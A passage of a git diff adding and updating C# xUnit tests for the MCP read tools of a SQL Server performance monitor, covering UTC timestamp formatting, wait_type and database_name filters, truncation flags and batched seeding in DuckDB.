--- a/Lite.Tests/McpPageContractTests.cs
+++ b/Lite.Tests/McpPageContractTests.cs
@@ -118,12 +118,12 @@ public async Task GetDeadlocks_TruncationIsObservedAtTheBoundary_AndTheOldestSta
         AssertPage(cut, "deadlocks", returnedKey: "deadlocks_returned", returned: 2, truncated: true);
         Assert.Equal("deadlock_time_desc", cut.GetProperty("order").GetString());
         /* Newest-first: the page is the two newest, so its oldest stamp is 10 minutes back, not 20. */
-        Assert.Equal(Stamp(now.AddMinutes(-10)), cut.GetProperty("oldest_returned_deadlock_time").GetString());
-        Assert.Equal(Stamp(now), cut.GetProperty("newest_returned_deadlock_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-10)) + "Z", cut.GetProperty("oldest_returned_deadlock_time").GetString());
+        Assert.Equal(Stamp(now) + "Z", cut.GetProperty("newest_returned_deadlock_time").GetString());
 
         var whole = Parse(await McpBlockingTools.GetDeadlocks(_dataService, _serverManager, ServerName, 24, 3));
         AssertPage(whole, "deadlocks", "deadlocks_returned", returned: 3, truncated: false);
-        Assert.Equal(Stamp(now.AddMinutes(-20)), whole.GetProperty("oldest_returned_deadlock_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-20)) + "Z", whole.GetProperty("oldest_returned_deadlock_time").GetString());
     }
 
     /// <summary>
@@ -217,8 +217,8 @@ public async Task GetBlockedProcessReports_TruncationIsObservedAtTheBoundary()
         var cut = Parse(await McpBlockingTools.GetBlockedProcessReports(_dataService, _serverManager, ServerName, 24, 3));
         AssertPage(cut, "reports", "reports_returned", returned: 3, truncated: true);
         Assert.Equal("event_time_desc", cut.GetProperty("order").GetString());
-        Assert.Equal(Stamp(now.AddMinutes(-20)), cut.GetProperty("oldest_returned_event_time").GetString());
-        Assert.Equal(Stamp(now), cut.GetProperty("newest_returned_event_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-20)) + "Z", cut.GetProperty("oldest_returned_event_time").GetString());
+        Assert.Equal(Stamp(now) + "Z", cut.GetProperty("newest_returned_event_time").GetString());
 
         var whole = Parse(await McpBlockingTools.GetBlockedProcessReports(_dataService, _serverManager, ServerName, 24, 4));
         AssertPage(whole, "reports", "reports_returned", returned: 4, truncated: false);
@@ -399,8 +399,8 @@ public async Task GetAlertHistory_StatesTheDismissedFilter_MeasuresIt_AndCanLift
         Assert.Equal(0, lifted.GetProperty("dismissed_excluded_count").GetInt64());
         Assert.Equal(2, lifted.GetProperty("alerts").EnumerateArray().Count(a => a.GetProperty("dismissed").GetBoolean()));
         /* The lifted page reaches the dismissed rows, which are the OLDEST two; the default page cannot. */
-        Assert.Equal(Stamp(now.AddMinutes(-20)), lifted.GetProperty("oldest_returned_alert_time").GetString());
-        Assert.Equal(Stamp(now.AddMinutes(-10)), whole.GetProperty("oldest_returned_alert_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-20)) + "Z", lifted.GetProperty("oldest_returned_alert_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-10)) + "Z", whole.GetProperty("oldest_returned_alert_time").GetString());
     }
 
     /// <summary>
@@ -474,8 +474,8 @@ public async Task GetLongQueryCompletions_PageIsTheWindowsSlowest_NotItsNewest()
         Assert.Equal(5000.0, top.GetProperty("completions")[0].GetProperty("duration_ms").GetDouble());
         /* Under a duration RANKING the two stamps bound the slowest run, not the reach — both are the
            80-minute-old row, and the description says that is what they mean here. */
-        Assert.Equal(Stamp(now.AddMinutes(-80)), top.GetProperty("oldest_returned_event_time").GetString());
-        Assert.Equal(Stamp(now.AddMinutes(-80)), top.GetProperty("newest_returned_event_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-80)) + "Z", top.GetProperty("oldest_returned_event_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-80)) + "Z", top.GetProperty("newest_returned_event_time").GetString());
 
         var whole = Parse(await McpLongQueryTools.GetLongQueryCompletions(_dataService, _serverManager, ServerName, 24, 5));
         AssertPage(whole, "completions", "completions_returned", returned: 5, truncated: false);
@@ -492,11 +492,12 @@ public async Task GetPlanCorrections_TruncationIsObservedAtTheBoundary_AndTheOld
         var cut = Parse(await McpPlanCorrectionTools.GetPlanCorrections(_dataService, _serverManager, ServerName, 24, 2));
         AssertPage(cut, "recommendations", "recommendations_returned", returned: 2, truncated: true);
         Assert.Equal("collection_time_desc", cut.GetProperty("order").GetString());
-        Assert.Equal(Stamp(now.AddMinutes(-5)), cut.GetProperty("oldest_returned_collection_time").GetString());
+        /* #4966: where the page's rows stop describes the window, so it prints as UTC with the Z: the same instant as before. */
+        Assert.Equal(Stamp(now.AddMinutes(-5)) + "Z", cut.GetProperty("oldest_returned_collection_time").GetString());
 
         var whole = Parse(await McpPlanCorrectionTools.GetPlanCorrections(_dataService, _serverManager, ServerName, 24, 3));
         AssertPage(whole, "recommendations", "recommendations_returned", returned: 3, truncated: false);
-        Assert.Equal(Stamp(now.AddMinutes(-10)), whole.GetProperty("oldest_returned_collection_time").GetString());
+        Assert.Equal(Stamp(now.AddMinutes(-10)) + "Z", whole.GetProperty("oldest_returned_collection_time").GetString());
     }
 
     [Fact]
@@ -510,7 +511,8 @@ public async Task GetWaitingTasks_EnvelopeCarriesTheWindowAndThePageBounds()
         /* The envelope used to be bare: server and rows. The span requested is now on it. */
         Assert.Equal(1, cut.GetProperty("hours_back").GetInt32());
         Assert.Equal("collection_time_desc", cut.GetProperty("order").GetString());
-        Assert.Equal(Stamp(now.AddMinutes(-3)), cut.GetProperty("oldest_returned_collection_time").GetString());
+        /* #4966: where the page's rows stop describes the window, so it prints as UTC with the Z: the same instant as before. */
+        Assert.Equal(Stamp(now.AddMinutes(-3)) + "Z", cut.GetProperty("oldest_returned_collection_time").GetString());
 
         var whole = Parse(await McpWaitTools.GetWaitingTasks(_dataService, _serverManager, ServerName, 1, 3));
         AssertPage(whole, "tasks", "tasks_returned", returned: 3, truncated: false);
@@ -736,7 +738,7 @@ public async Task GetActiveQueries_FiltersInTheQuery_KeepsHeadBlockers_AndNamesA
         Assert.Equal(6, all.GetProperty("snapshots_returned").GetInt32());
         Assert.False(all.GetProperty("truncated").GetBoolean());
         Assert.Equal("collection_time_desc", all.GetProperty("order").GetString());
-        Assert.Equal(Stamp(t), all.GetProperty("newest_returned_collection_time").GetString());
+        Assert.Equal(Stamp(t) + "Z", all.GetProperty("newest_returned_collection_time").GetString());
 
         var head = Row(rows, 60);
         Assert.True(head.GetProperty("is_head_blocker").GetBoolean());
@@ -778,6 +780,92 @@ page and its victim says so. */
         Assert.StartsWith("Invalid hours_back value '-1'", McpHelpers.ErrorMessageOf(await McpHealthTools.GetBlockingStats(_dataService, _serverManager, ServerName, -1)), StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// #5235: the wait_type filter is in the query, like database_name, so the count, the cap and the truncation flag all see it. One
+    /// capture holds the waits the filter has to tell apart, and a capture two minutes earlier holds one more row on the same wait:
+    /// <code>
+    ///   55 (Db)      LCK_M_X, blocked by 60 (the default wait of a blocked row)
+    ///   60 (Db)      a WAITFOR shell on the WAITFOR wait, blocking 55: the head blocker
+    ///   61 (Db)      "PAGEIOLATCH_SH " with the trailing space an older collector stored
+    ///   62 (Db)      PAGEIOLATCH_EX: another wait with the same prefix
+    ///   63 (OtherDb) PAGEIOLATCH_SH
+    ///   64 (Db)      running, no wait: a NULL wait never matches
+    ///   61 (Db)      PAGEIOLATCH_SH, in the earlier capture
+    /// </code>
+    /// The wait value is bound after the database values, so its parameter index is 5 plus their count: the calls that pair it with a
+    /// database_name prove the index, because a hard-coded one would compare the wait to the database name.
+    /// </summary>
+    [Fact]
+    public async Task GetActiveQueries_WaitTypeFilter_IsInTheQuery_AnyCase_AndNamedInTheMiss()
+    {
+        var t = WholeSecondsNow().AddMinutes(-2);
+        await SeedSnapshotAsync(t, 55, "Db", "UPDATE Posts SET Score = 1", blockingSessionId: 60, cpuMs: 500);
+        await SeedSnapshotAsync(t, 60, "Db", "WAITFOR DELAY '00:05'", blockingSessionId: 0, cpuMs: 1, waitType: "WAITFOR");
+        await SeedSnapshotAsync(t, 61, "Db", "SELECT * FROM Posts", blockingSessionId: 0, cpuMs: 300, waitType: "PAGEIOLATCH_SH ");
+        await SeedSnapshotAsync(t, 62, "Db", "SELECT * FROM Votes", blockingSessionId: 0, cpuMs: 250, waitType: "PAGEIOLATCH_EX");
+        await SeedSnapshotAsync(t, 63, "OtherDb", "SELECT * FROM Sales", blockingSessionId: 0, cpuMs: 200, waitType: "PAGEIOLATCH_SH");
+        await SeedSnapshotAsync(t, 64, "Db", "SELECT COUNT(*) FROM Comments", blockingSessionId: 0, cpuMs: 100);
+        await SeedSnapshotAsync(t.AddMinutes(-2), 61, "Db", "SELECT * FROM Posts", blockingSessionId: 0, cpuMs: 50, waitType: "PAGEIOLATCH_SH");
+
+        async Task<JsonElement> ActiveAsync(string? database = null, bool blockingOnly = false, string? wait = null, int limit = 50) =>
+            Parse(await McpSessionTools.GetActiveQueries(_dataService, _serverManager, ServerName, 1, database, blockingOnly, wait, limit));
+        static int[] Sessions(JsonElement root) =>
+            root.GetProperty("queries").EnumerateArray().Select(r => r.GetProperty("session_id").GetInt32()).ToArray();
+
+        /* No wait filter: the seven rows (the WAITFOR shell stays as a head blocker), and the echo says there was none. */
+        var all = await ActiveAsync();
+        Assert.Equal(7, all.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(JsonValueKind.Null, all.GetProperty("filters_applied").GetProperty("wait_type").ValueKind);
+
+        /* Lowercase input finds the exact name AND the trailing-space row. The page is newest capture first, highest CPU first within
+           one, so 61 (space) leads 63 and the earlier capture's 61 comes last. 62 (another wait) and 64 (no wait) are out. The echo
+           is the value the caller sent, not the upper-cased match key. */
+        var latch = await ActiveAsync(wait: "pageiolatch_sh");
+        Assert.Equal(3, latch.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(new[] { 61, 63, 61 }, Sessions(latch));
+        Assert.Equal("pageiolatch_sh", latch.GetProperty("filters_applied").GetProperty("wait_type").GetString());
+
+        /* The input is trimmed (the echo names what was applied); a blank is no filter at all. */
+        var padded = await ActiveAsync(wait: "  PAGEIOLATCH_SH  ");
+        Assert.Equal(3, padded.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal("PAGEIOLATCH_SH", padded.GetProperty("filters_applied").GetProperty("wait_type").GetString());
+        var blank = await ActiveAsync(wait: "   ");
+        Assert.Equal(7, blank.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(JsonValueKind.Null, blank.GetProperty("filters_applied").GetProperty("wait_type").ValueKind);
+
+        /* A blocker on another wait leaves the page. 55 waits on LCK_M_X; its blocker 60 waits on WAITFOR, so 60 is not in the
+           filtered population and the victim says why, as it does for a blocker in another database. */
+        var locks = await ActiveAsync(wait: "LCK_M_X");
+        Assert.Equal(1, locks.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(new[] { 55 }, Sessions(locks));
+        Assert.Equal("filtered", Assert.Single(locks.GetProperty("queries").EnumerateArray()).GetProperty("blocker_not_shown").GetString());
+
+        /* It ANDs with database_name, and the wait parameter's index follows the database value's. */
+        var otherDbLatch = await ActiveAsync(database: "OtherDb", wait: "PAGEIOLATCH_SH");
+        Assert.Equal(1, otherDbLatch.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(new[] { 63 }, Sessions(otherDbLatch));
+        var dbLatch = await ActiveAsync(database: "Db", wait: "PAGEIOLATCH_SH");
+        Assert.Equal(2, dbLatch.GetProperty("total_snapshots").GetInt64());
+        Assert.Equal(new[] { 61, 61 }, Sessions(dbLatch));
+
+        /* The cap and the truncation flag are measured on the filtered population: three matching rows under limit 2. */
+        var cut = await ActiveAsync(wait: "PAGEIOLATCH_SH", limit: 2);
+        Assert.True(cut.GetProperty("truncated").GetBoolean());
+        Assert.Equal(2, cut.GetProperty("snapshots_returned").GetInt32());
+        Assert.Equal(3, cut.GetProperty("total_snapshots").GetInt64());
+
+        /* A miss names the filter instead of calling the window empty, and the three filters are named in one fixed order. */
+        var miss = await ActiveAsync(wait: "NO_SUCH_WAIT");
+        Assert.Equal("empty", miss.GetProperty("status").GetString());
+        Assert.Contains("wait_type 'NO_SUCH_WAIT'", miss.GetProperty("message").GetString(), StringComparison.Ordinal);
+        var missAll = await ActiveAsync(database: "Db", blockingOnly: true, wait: "NO_SUCH_WAIT");
+        Assert.Contains("database_name 'Db' with blocking_only with wait_type 'NO_SUCH_WAIT'", missAll.GetProperty("message").GetString(), StringComparison.Ordinal);
+
+        /* Equality only: a % or _ in the input is literal, so no pattern reaches PAGEIOLATCH_SH. */
+        foreach (var pattern in new[] { "PAGEIOLATCH_%", "PAGEIOLATCH_S_", "%" })
+            Assert.Equal("empty", (await ActiveAsync(wait: pattern)).GetProperty("status").GetString());
+    }
+
     /// <summary>
     /// #4198: get_active_queries' own response-budget pin. Darling's twin
     /// (<c>DarlingMcpActiveQueriesBudgetLiveTests</c>) measured 81,489 bytes for a synthetic 50-row page
@@ -1188,13 +1276,15 @@ INSERT INTO query_stats
 VALUES ($1, $2, $3, $4, 'Db', $5, '0xPLANHASH', $6, '0xPLANH', $7, $2, $2, 10, $8, $8, 100, 1, $9)",
         _nextId--, Naive(at), _serverId, ServerName, queryHash, "0xSQLH" + queryHash, "SELECT " + queryHash, cpuUs, maxDop);
 
-    private Task SeedSnapshotAsync(DateTime at, int sessionId, string database, string text, int blockingSessionId, long cpuMs) => ExecAsync(@"
+    /// <summary>One query_snapshots row. <paramref name="waitType"/> is the row's own wait; left null it is the old default, LCK_M_X for a
+    /// blocked row and no wait for the rest (#5235 lets a test name any wait, a trailing space included).</summary>
+    private Task SeedSnapshotAsync(DateTime at, int sessionId, string database, string text, int blockingSessionId, long cpuMs, string? waitType = null) => ExecAsync(@"
 INSERT INTO query_snapshots
     (collection_id, collection_time, server_id, server_name, session_id, database_name, query_text, status, blocking_session_id,
      wait_type, cpu_time_ms, total_elapsed_time_ms)
 VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12)",
         _nextId--, Naive(at), _serverId, ServerName, sessionId, database, text,
-        blockingSessionId > 0 ? "suspended" : "running", blockingSessionId, blockingSessionId > 0 ? "LCK_M_X" : null, cpuMs, cpuMs * 2);
+        blockingSessionId > 0 ? "suspended" : "running", blockingSessionId, waitType ?? (blockingSessionId > 0 ? "LCK_M_X" : null), cpuMs, cpuMs * 2);
 
     private Task SeedRunAsync(DateTime at) => ExecAsync(@"
 INSERT INTO collection_log
diff --git a/Lite.Tests/McpReadToolBudgetTests.cs b/Lite.Tests/McpReadToolBudgetTests.cs
index 8d602e294f..220bdaf36d 100644
--- a/Lite.Tests/McpReadToolBudgetTests.cs
+++ b/Lite.Tests/McpReadToolBudgetTests.cs
@@ -181,6 +181,10 @@ public async Task EveryReadToolAnswersUnderTheDefaultBudget_UnlessListedAsA4198O
         /* 89 tools total, minus mute_analysis_finding, five analyze_*, compare_analysis and audit_config = 81
            read tools attempted; a tool with no usable default throws and lands in gaps, not measured, so the
            floor is set under 81 rather than at it. */
+        /* An empty store answers every tool in a few hundred bytes and would pass the budget vacuously. The
+           seed is ~DbCount x QueriesPerDb x 2 query-store rows, so the largest answer must be well over a
+           small floor if the seeded rows are visible to the tools. */
+        Assert.True(measured.Max(m => m.Bytes) > 2_000, "the largest tool answer is tiny -- the seed is not visible to the tools, so the budget check is vacuous");
         Assert.True(measured.Count > 60, $"only {measured.Count} read tools were measured -- reflection likely under-enumerated the service assembly");
         Assert.True(overBudget.Length == 0,
             "over the #4198 default budget and not in ExemptOffenders:" + Environment.NewLine + string.Join(Environment.NewLine, overBudget) +
@@ -287,6 +291,11 @@ private async Task SeedAsync()
     {
         var now = TruncateToSeconds(DateTime.UtcNow.AddMinutes(-1));
 
+        /* One transaction for the whole seed (#5208): roughly 800 single-row INSERTs were 800 WAL commits. The
+           batch commits at the end of this method, before any tool reads. */
+        var seedConn = await SeedConnectionAsync();
+        using var batch = new SeedBatch(_duckDb, seedConn);
+
         /* query_store_stats: DbCount tenant databases x QueriesPerDb queries, a baseline interval (40h back)
            and a regressed recent interval (30m back, duration/CPU stepped up), carrying ~3.8 KB of
            parameterized query text -- the #4198 field offender and Darling's #1 measured tool.
@@ -395,6 +404,8 @@ await ExecAsync(
                 _nextId--, Naive(t), _serverId, ServerName, Naive(t), "sql_batch_completed", db,
                 (long)(i + 1) * 500_000, "EXEC dbo.usp_NightlyReconcile_" + i + " " + PadBlock(400));
         }
+
+        batch.Commit();
     }
 
     private Task SeedQueryStoreAsync(DateTime collectionTime, long executions, long avgDurationUs, long avgCpuUs, long intervalId, long queryId, string dbName, string queryText) =>
diff --git a/Lite.Tests/McpSettingsGuardTests.cs b/Lite.Tests/McpSettingsGuardTests.cs
index 1858c3c510..bc3d8fb690 100644
--- a/Lite.Tests/McpSettingsGuardTests.cs
+++ b/Lite.Tests/McpSettingsGuardTests.cs
@@ -30,6 +30,7 @@ namespace PerformanceMonitorLite.Tests;
 /// endpoint to have lost. If that case ever starts producing a Problem, the reporting becomes noise on
 /// every clean install and gets ignored exactly when it matters.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class McpSettingsGuardTests
 {
     private static string NewTempDir(string tag)
diff --git a/Lite.Tests/McpStorageDatabaseNameFilterToolTests.cs b/Lite.Tests/McpStorageDatabaseNameFilterToolTests.cs
new file mode 100644
index 0000000000..6dd2c68905
--- /dev/null
+++ b/Lite.Tests/McpStorageDatabaseNameFilterToolTests.cs
@@ -0,0 +1,395 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5244 (PR5, Lite twins): <c>database_name</c>, appended LAST, on <c>get_database_sizes</c>, <c>get_table_index_sizes</c>,
+/// <c>get_pvs_stats</c> and <c>get_file_io_stats</c>. Each tool is read through a real DuckDB store holding three databases (A, B, C):
+/// the chosen name returns only that database's rows, an omitted, empty or whitespace name returns every database (a blank is "no
+/// filter", never an error), the newest snapshot never moves with the filter, the cap follows the filter, and a name nothing was
+/// recorded for is an <c>empty</c> status that names the database (Darling's words) while a server with no data at all keeps its
+/// <c>unavailable</c> answer.
+/// </summary>
+public sealed class McpStorageDatabaseNameFilterToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "StorageNameFilterSrv";
+
+    private static readonly string?[] BlankNames = [null, "", "   "];
+
+    private readonly int _serverId;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _dataService;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public McpStorageDatabaseNameFilterToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _dataService = new LocalDataService(_duckDb);
+
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-storage-name-filter-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+
+        var server = new ServerConnection
+        {
+            Id = Guid.NewGuid().ToString(),
+            ServerName = ServerName,
+            IsEnabled = true,
+        };
+        _serverManager.AddServer(server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(
+            RemoteCollectorService.GetServerNameForStorage(server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    // ── get_database_sizes ──
+
+    [Fact]
+    public async Task DatabaseSizes_DatabaseName_LimitsTheFilesToThatDatabaseAtTheSameSnapshot()
+    {
+        var older = Truncate(DateTime.UtcNow.AddHours(-3));
+        var newest = Truncate(DateTime.UtcNow.AddHours(-1));
+        await SeedDatabaseSizeAsync("DbC", older);
+        foreach (var db in new[] { "DbA", "DbB", "DbC" })
+            await SeedDatabaseSizeAsync(db, newest);
+
+        var all = await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName);
+        var one = await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using var allDoc = JsonDocument.Parse(all);
+        using var oneDoc = JsonDocument.Parse(one);
+        Assert.Equal(3, allDoc.RootElement.GetProperty("databases").GetArrayLength());
+        Assert.Equal("DbA", Assert.Single(oneDoc.RootElement.GetProperty("databases").EnumerateArray()).GetProperty("database_name").GetString());
+        Assert.Equal(1, oneDoc.RootElement.GetProperty("file_count").GetInt32());
+        Assert.Equal(allDoc.RootElement.GetProperty("captured_at").GetString(), oneDoc.RootElement.GetProperty("captured_at").GetString());
+
+        foreach (var blank in BlankNames)
+            Assert.Equal(all, await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: blank));
+    }
+
+    [Fact]
+    public async Task DatabaseSizes_DatabaseName_NoRowsInTheNewestSnapshotIsEmptyAndNamesTheDatabase()
+    {
+        /* DbC is only in an OLDER snapshot: the snapshot never moves with the filter, so it is not found. */
+        await SeedDatabaseSizeAsync("DbC", Truncate(DateTime.UtcNow.AddHours(-3)));
+        await SeedDatabaseSizeAsync("DbA", Truncate(DateTime.UtcNow.AddHours(-1)));
+
+        var none = await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "DbC");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var doc = JsonDocument.Parse(none);
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+        Assert.Contains("for database 'DbC'", doc.RootElement.GetProperty("message").GetString());
+    }
+
+    [Fact]
+    public async Task DatabaseSizes_DatabaseName_ServerWithNoSnapshotStaysUnavailable()
+    {
+        var none = await McpServerInfoTools.GetDatabaseSizes(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using var doc = JsonDocument.Parse(none);
+        Assert.Equal("unavailable", doc.RootElement.GetProperty("status").GetString());
+    }
+
+    // ── get_table_index_sizes ──
+
+    [Fact]
+    public async Task TableIndexSizes_DatabaseName_LimitsTheTablesAndKeepsTheServersHistory()
+    {
+        /* The oldest snapshot holds only DbC, so the history block proves the span is not narrowed by the filter. */
+        var oldest = Truncate(DateTime.UtcNow.AddDays(-9));
+        var newest = Truncate(DateTime.UtcNow.AddHours(-1));
+        await SeedTableAsync("DbC", "tc", oldest, 5m);
+        foreach (var db in new[] { "DbA", "DbB", "DbC" })
+            await SeedTableAsync(db, "t" + db[^1], newest, 10m + (db[^1] - 'A'));
+
+        var all = await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName);
+        var one = await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using var allDoc = JsonDocument.Parse(all);
+        using var oneDoc = JsonDocument.Parse(one);
+        Assert.Equal(3, allDoc.RootElement.GetProperty("tables_returned").GetInt32());
+        Assert.Equal("DbA", Assert.Single(oneDoc.RootElement.GetProperty("tables").EnumerateArray()).GetProperty("database_name").GetString());
+        Assert.Equal(allDoc.RootElement.GetProperty("history").GetProperty("earliest_snapshot").GetString(),
+            oneDoc.RootElement.GetProperty("history").GetProperty("earliest_snapshot").GetString());
+        Assert.Equal(allDoc.RootElement.GetProperty("history").GetProperty("latest_snapshot").GetString(),
+            oneDoc.RootElement.GetProperty("history").GetProperty("latest_snapshot").GetString());
+
+        foreach (var blank in BlankNames)
+            Assert.Equal(all, await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: blank));
+    }
+
+    [Fact]
+    public async Task TableIndexSizes_DatabaseName_TheCapFollowsTheFilter()
+    {
+        var newest = Truncate(DateTime.UtcNow.AddHours(-1));
+        for (var i = 0; i < 105; i++)
+            await SeedTableAsync("DbC", $"big{i}", newest, 1000m + i);
+        await SeedTableAsync("DbA", "small", newest, 1m);
+
+        using var all = JsonDocument.Parse(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName));
+        Assert.True(all.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.DoesNotContain(all.RootElement.GetProperty("tables").EnumerateArray(), t => t.GetProperty("database_name").GetString() == "DbA");
+
+        using var one = JsonDocument.Parse(await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA"));
+        Assert.False(one.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.Equal("small", Assert.Single(one.RootElement.GetProperty("tables").EnumerateArray()).GetProperty("table_name").GetString());
+    }
+
+    [Fact]
+    public async Task TableIndexSizes_DatabaseName_NoMatchIsEmptyAndNoDataStaysUnavailable()
+    {
+        var unavailable = await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using (var doc = JsonDocument.Parse(unavailable))
+            Assert.Equal("unavailable", doc.RootElement.GetProperty("status").GetString());
+
+        await SeedTableAsync("DbB", "tb", Truncate(DateTime.UtcNow.AddHours(-1)), 10m);
+        var none = await McpObjectStatsTools.GetTableIndexSizes(_dataService, _serverManager, ServerName, database_name: "DbA");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var noneDoc = JsonDocument.Parse(none);
+        Assert.Equal("empty", noneDoc.RootElement.GetProperty("status").GetString());
+        Assert.Contains("for database 'DbA'", noneDoc.RootElement.GetProperty("message").GetString());
+    }
+
+    // ── get_pvs_stats ──
+
+    [Fact]
+    public async Task PvsStats_DatabaseName_LimitsTheRowsAndTheTrendToThatDatabase()
+    {
+        foreach (var minutes in new[] { 30, 5 })
+            foreach (var db in new[] { "DbA", "DbB", "DbC" })
+                await SeedPvsAsync(db, minutes, 10);
+
+        var all = await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, trend_hours_back: 1);
+        var one = await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, trend_hours_back: 1, database_name: "DbB");
+        using var allDoc = JsonDocument.Parse(all);
+        using var oneDoc = JsonDocument.Parse(one);
+        Assert.Equal(3, allDoc.RootElement.GetProperty("databases").GetArrayLength());
+        Assert.Equal("DbB", Assert.Single(oneDoc.RootElement.GetProperty("databases").EnumerateArray()).GetProperty("database_name").GetString());
+        Assert.Equal("DbB", Assert.Single(oneDoc.RootElement.GetProperty("trend").EnumerateArray()).GetProperty("database_name").GetString());
+        Assert.Equal(allDoc.RootElement.GetProperty("as_of").GetString(), oneDoc.RootElement.GetProperty("as_of").GetString());
+
+        foreach (var blank in BlankNames)
+            Assert.Equal(all, await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, trend_hours_back: 1, database_name: blank));
+    }
+
+    [Fact]
+    public async Task PvsStats_DatabaseName_NoMatchIsEmptyForTheDatabaseAndNoDataKeepsTheServerSentence()
+    {
+        var noData = await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, database_name: "DbA");
+        Assert.Contains("No PVS data collected for this server", noData);
+
+        await SeedPvsAsync("DbB", 5, 10);
+        await SeedPvsAsync("DbC", 5, 10);
+        var none = await McpPvsTools.GetPvsStats(_dataService, _serverManager, ServerName, database_name: "DbA");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var doc = JsonDocument.Parse(none);
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
+        var message = doc.RootElement.GetProperty("message").GetString();
+        Assert.Contains("No PVS rows for database 'DbA'", message);
+        Assert.Contains("2 other database(s)", message);
+        Assert.DoesNotContain("No PVS data collected for this server", none);
+    }
+
+    // ── get_file_io_stats ──
+
+    [Fact]
+    public async Task FileIoStats_DatabaseName_LimitsTheFilesToThatDatabaseAtTheSameCapture()
+    {
+        await SeedFileIoAsync("DbC", "c.mdf", 30);
+        foreach (var db in new[] { "DbA", "DbB", "DbC" })
+            await SeedFileIoAsync(db, db + ".mdf", 5);
+
+        var all = await McpIoTools.GetFileIoStats(_dataService, _serverManager, ServerName);
+        var one = await McpIoTools.GetFileIoStats(_dataService, _serverManager, ServerName, database_name: "DbA");
+        using var allDoc = JsonDocument.Parse(all);
+        using var oneDoc = JsonDocument.Parse(one);
+        Assert.Equal(3, allDoc.RootElement.GetProperty("files").GetArrayLength());
+        var file = Assert.Single(oneDoc.RootElement.GetProperty("files").EnumerateArray());
+        Assert.Equal("DbA", file.GetProperty("database_name").GetString());
+        Assert.Equal("DbA", oneDoc.RootElement.GetProperty("database_name").GetString());
+        Assert.Equal(allDoc.RootElement.GetProperty("captured_at").GetString(), oneDoc.RootElement.GetProperty("captured_at").GetString());
+
+        foreach (var blank in BlankNames)
+            Assert.Equal(all, await McpIoTools.GetFileIoStats(_dataService, _serverManager, ServerName, database_name: blank));
+    }
+
+    [Fact]
+    public async Task FileIoStats_DatabaseName_NewestCaptureWithoutTheDatabaseIsEmptyNotUnavailable()
+    {
+        await SeedFileIoAsync("DbC", "c.mdf", 30);
+        await SeedFileIoAsync("DbA", "a.mdf", 5);
+
+        /* DbC was only in an older capture: the capture never moves with the filter. */
+        var none = await McpIoTools.GetFileIoStats(_dataService, _serverManager, ServerName, database_name: "DbC");
+        Assert.False(McpHelpers.IsErrorEnvelope(none), $"tool returned an error: {none}");
+        using var doc = JsonDocument.Parse(none);
+        Assert.Equal("empty", doc.RootElement.GetProperty("status").GetString());
